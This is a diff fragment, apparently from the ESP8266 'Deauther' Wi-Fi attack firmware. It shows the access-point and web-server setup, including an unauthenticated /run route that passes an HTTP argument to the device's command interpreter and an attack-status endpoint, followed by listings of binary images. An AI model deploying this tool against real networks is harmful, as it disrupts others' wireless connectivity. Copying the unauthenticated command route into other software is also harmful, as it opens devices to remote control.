// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network is visible, captivePortal = enable a captive portal
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
if(password.length() < 8){
prntln(W_ERROR_PASSWORD);
return;
}
if(!path.charAt(0) == SLASH) path = String(SLASH)+path;
if(password == String(ZERO)) password = String(NEWLINE);
wifi_config_path = path;
wifi_config_ssid = ssid;
wifi_config_password = password;
setWifiChannel(ch);
wifi_config_hidden = hidden;
wifi_config_captivePortal = captivePortal;
WiFi.softAPConfig(apIP, apIP, netMsk);
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
dnsServer.start(53, String(ASTERIX), apIP);
MDNS.begin(str(W_DEAUTHER).c_str());
server.on(str(W_LIST).c_str(), HTTP_GET, handleFileList); //list directory
server.on(str(W_RUN).c_str(), HTTP_GET, [](){
server.send(200, str(W_TXT), str(W_OK).c_str());
serialInterface.runCommands(server.arg(str(W_CMD).c_str()));
});
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, [](){
handleFileRead("/web/lang/"+settings.getLang()+".lang");
});
server.on("/attack.json", HTTP_GET, [](){
server.send(200, str(W_JSON), attack.getStatusJSON());
});
/*
//load editor
server.on("/edit", HTTP_GET, [](){
if(!handleFileRead("/edit.htm")) server.send(404, str(W_TXT), "FileNotFound");
});
server.on("/edit", HTTP_PUT, handleFileCreate); //create file
server.on("/edit", HTTP_DELETE, handleFileDelete); //delete file
//first callback is called after the request has ended with all parsed arguments
//second callback handles file uploads at that location
server.on("/edit", HTTP_POST, [](){ server.send(200, str(W_TXT), ""); }, handleFileUpload);
*/
// aggressively caching static assets
//server.serveStatic("/lang", SPIFFS, String(wifi_config_path+"/lang").c_str(),"max-age=86400");
server.serveStatic("/js" , SPIFFS, String(wifi_config_path+"/js").c_str(), "max-age=86400");
//called when the url is not defined here
//use it to load content from SPIFFS
server.onNotFound([]() {
if (!handleFileRead(server.uri())) {
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
}
});
server.begin();
wifiMode = WIFI_MODE_AP;
prntln(W_STARTED_AP);
printWifiStatus();
}
void printWifiStatus() {
char s[150];
sprintf(s,str(W_STATUS_OUTPUT).c_str(),
wifi_config_path.c_str(),
str(wifiMode == WIFI_MODE_OFF ? W_OFF : (wifiMode == WIFI_MODE_AP ? W_AP : W_STATION)).c_str(),
wifi_config_ssid.c_str(),
wifi_config_password.c_str(),
wifi_channel,
b2s(wifi_config_hidden).c_str(),
b2s(wifi_config_captivePortal).c_str());
prnt(String(s));
}
void startAP(String path) {
startAP(path.c_str(), wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
}
void startAP() {
startAP(str(W_WEBINTERFACE));
}
void loadWifiConfigDefaults() {
wifi_config_hidden = settings.getHidden();
wifi_config_ssid = settings.getSSID();
wifi_config_password = settings.getPassword();
wifi_config_captivePortal = settings.getCaptivePortal();
}
void resumeAP(){
if(wifiMode != WIFI_MODE_AP){
wifiMode = WIFI_MODE_AP;
wifi_promiscuous_enable(0);
WiFi.softAPConfig(apIP, apIP, netMsk);
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
prntln(W_STARTED_AP);
}
}
#endif

Binary file not shown.

After

Width:  |  Height:  |  Size: 202 KiB

BIN
img/deauther_logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

BIN
img/esp_modules.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 499 KiB

BIN
img/example_built_i2c.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 616 KiB

BIN
img/example_built_spi.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 684 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 82 KiB

BIN
img/i2c_spi_display.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 429 KiB

BIN
img/icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 310 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 563 KiB

BIN
img/nodemcus.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 249 KiB

Some files were not shown because too many files have changed in this diff Show More